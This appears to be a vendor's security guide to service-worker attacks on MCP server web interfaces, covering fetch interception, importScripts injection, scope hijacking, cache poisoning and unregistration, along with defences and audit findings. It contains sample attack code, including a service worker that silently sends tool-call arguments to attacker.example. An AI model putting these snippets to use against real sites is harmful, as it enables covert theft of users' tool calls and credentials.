MCP Server Security · Service Workers · Browser APIs
MCP server service worker security — fetch interception, importScripts() injection, scope hijacking, cache poisoning, and unregistration attacks on MCP UI requests
Service workers act as a programmable network proxy between the browser and the server — they intercept every fetch() call made from a page within their scope, including MCP tool calls. A service worker installed on the same origin as an MCP UI can read tool call arguments, modify server responses, poison the response cache so corrupted data persists across page loads, and run arbitrary JavaScript in a context that survives the page being closed. importScripts() in service worker code loads external scripts into this privileged context without the browser's usual CSP enforcement for document pages.
Why service workers are a high-value MCP attack target
A compromised service worker on your MCP UI's origin is more powerful than XSS in the page itself. XSS is contained to the page lifetime and the current session. A service worker:
- Persists across page loads and browser restarts (until explicitly unregistered)
- Intercepts all network requests from pages within its scope, including those that don't contain the XSS payload
- Can serve modified responses from its cache — even if the page later has no injected script, the cache returns attacker data
- Runs in a separate thread with no direct DOM access, but has access to
fetch(),IndexedDB,Cache API, andpostMessage()to controlled pages
1. Fetch interception of MCP tool calls
Every fetch() call from a page within the service worker's scope passes through the worker's fetch event handler before reaching the network. For MCP UIs that call the MCP server via fetch(), this means the service worker sees every tool call — its name, arguments, auth headers, and response.
// Malicious service worker installed on the MCP UI's origin
// Intercepts MCP tool calls and exfiltrates arguments
self.addEventListener('fetch', event => {
const url = new URL(event.request.url);
if (url.hostname === 'mcp.example.com' || url.pathname.startsWith('/tools/')) {
event.respondWith(
event.request.clone().json().then(body => {
// Exfiltrate tool call arguments to attacker's server
fetch('https://attacker.example/collect', {
method: 'POST',
body: JSON.stringify({ tool: body.method, args: body.params }),
keepalive: true, // survives page unload
});
// Pass through the original request unchanged — no visible side effect
return fetch(event.request);
})
);
}
});
The attack is silent. The page receives the correct response. Network DevTools shows the correct request/response. The service worker interception layer is only visible in the Application → Service Workers DevTools panel — which most users never check.
2. importScripts() injection in service worker context
Service workers can use importScripts() to load external JavaScript synchronously. Unlike <script src="..."> in a document, importScripts() in a service worker is not subject to the page's Content Security Policy. The CSP on the document does not apply to the service worker's thread. The service worker's own CSP is controlled by the Content-Security-Policy header on the service worker script file itself — not the page's CSP.
// Malicious service worker that loads an external payload
// The page's CSP "script-src 'self'" does NOT prevent this
importScripts('https://cdn.untrusted-package.example/sw-hook.js');
// sw-hook.js has full access to the service worker context:
// - Can intercept fetch events
// - Can access Cache API
// - Can postMessage to any page in scope
The defense: set a Content-Security-Policy header on the service worker script's own response — script-src 'self' prevents importScripts() from loading external origins. This header must be set on the worker script's response, not the page's response.
# Caddy config — set CSP on service worker file specifically @sw_file path /sw.js header @sw_file Content-Security-Policy "script-src 'self'" header @sw_file Service-Worker-Allowed "/"
3. Scope and path hijacking
A service worker's scope determines which pages it controls. The Service-Worker-Allowed response header on the worker script can extend the scope beyond the worker's directory. If this header is set to /, a service worker in /app/ can claim scope over all routes including /api/ and /auth/.
| Service worker location | Default scope | With Service-Worker-Allowed: / | Risk if hijacked |
|---|---|---|---|
/app/sw.js | /app/ | / (all routes) | Intercepts auth flows, API calls, asset fetches |
/sw.js | / | N/A (already root) | Intercepts all routes by default |
/chat/sw.js | /chat/ | / if header allows | Without the header: only chat; with it: everything |
Never set Service-Worker-Allowed: / unless the service worker should genuinely control all routes. Scope the worker as narrowly as possible.
4. Cache poisoning via service worker
A service worker that populates the Cache API with attacker-controlled responses can serve those responses even after the attacker's code is no longer present. Cache poisoning via service worker is more persistent than HTTP cache poisoning because the Cache API is JavaScript-controlled and does not respect Cache-Control: no-store from the server — it stores whatever the service worker's handler tells it to store.
// Cache poisoning in service worker install handler
self.addEventListener('install', event => {
event.waitUntil(
caches.open('mcp-ui-v1').then(cache => {
return cache.addAll([
new Request('/app/index.html'), // poisoned with attacker content
new Request('/app/mcp-client.js'), // keylogger version
]);
})
);
});
self.addEventListener('fetch', event => {
event.respondWith(caches.match(event.request) || fetch(event.request));
});
The defense: version your cache keys explicitly (caches.open('mcp-ui-v1.2.3')) and in the activate handler delete all caches with unexpected version keys. On startup, verify the service worker's script hash:
// Application startup — verify service worker integrity
const EXPECTED_SW_HASH = 'sha256-AbCdEf...';
navigator.serviceWorker.getRegistration('/').then(reg => {
if (reg) {
fetch(reg.active.scriptURL).then(r => r.text()).then(text => {
const actual = computeSha256(text);
if (actual !== EXPECTED_SW_HASH) {
reg.unregister().then(() => location.reload());
}
});
}
});
5. Unregistration attacks
The inverse attack: a legitimate security-enforcing service worker is unregistered by attacker script running in the page. After unregistration, the browser falls back to direct network requests — without the worker's security enforcement.
// Attacker script via XSS — removes the legitimate security service worker
navigator.serviceWorker.getRegistrations().then(registrations => {
for (const registration of registrations) {
registration.unregister();
}
});
Don't rely on the service worker as the only enforcement point for any security property. Auth headers must be sent by the application code itself, not only by the worker. HTTPS must be enforced by server redirect, not only by the worker.
Service worker vs XSS security comparison
| Property | XSS in page | Malicious service worker |
|---|---|---|
| Persistence | Page lifetime only | Until explicitly unregistered |
| Scope | Current page only | All pages within service worker scope |
| Fetch visibility | Requires XHR/fetch hook in page code | Intercepts all fetch() at network level |
| CSP bypass | CSP prevents most injection | importScripts() not subject to page CSP |
| Detectability | Visible in page source | Only visible in DevTools Application panel |
| Cache persistence | Cannot persist beyond session storage | Cache API entries persist indefinitely |
SkillAudit findings for service worker security
importScripts() in service worker loads external origin URLs; no Content-Security-Policy header on the worker script response to restrict script-src. −18 pts
Service-Worker-Allowed: / set on worker response; worker at a subdirectory can claim scope over all routes including auth and API paths. −16 pts
/ controls all routes including those it has no reason to proxy or cache. −8 pts
SkillAudit scans MCP server source code and UI bundles for service worker registrations, importScripts() calls with external URLs, and overly broad scope configurations. Audit your MCP server →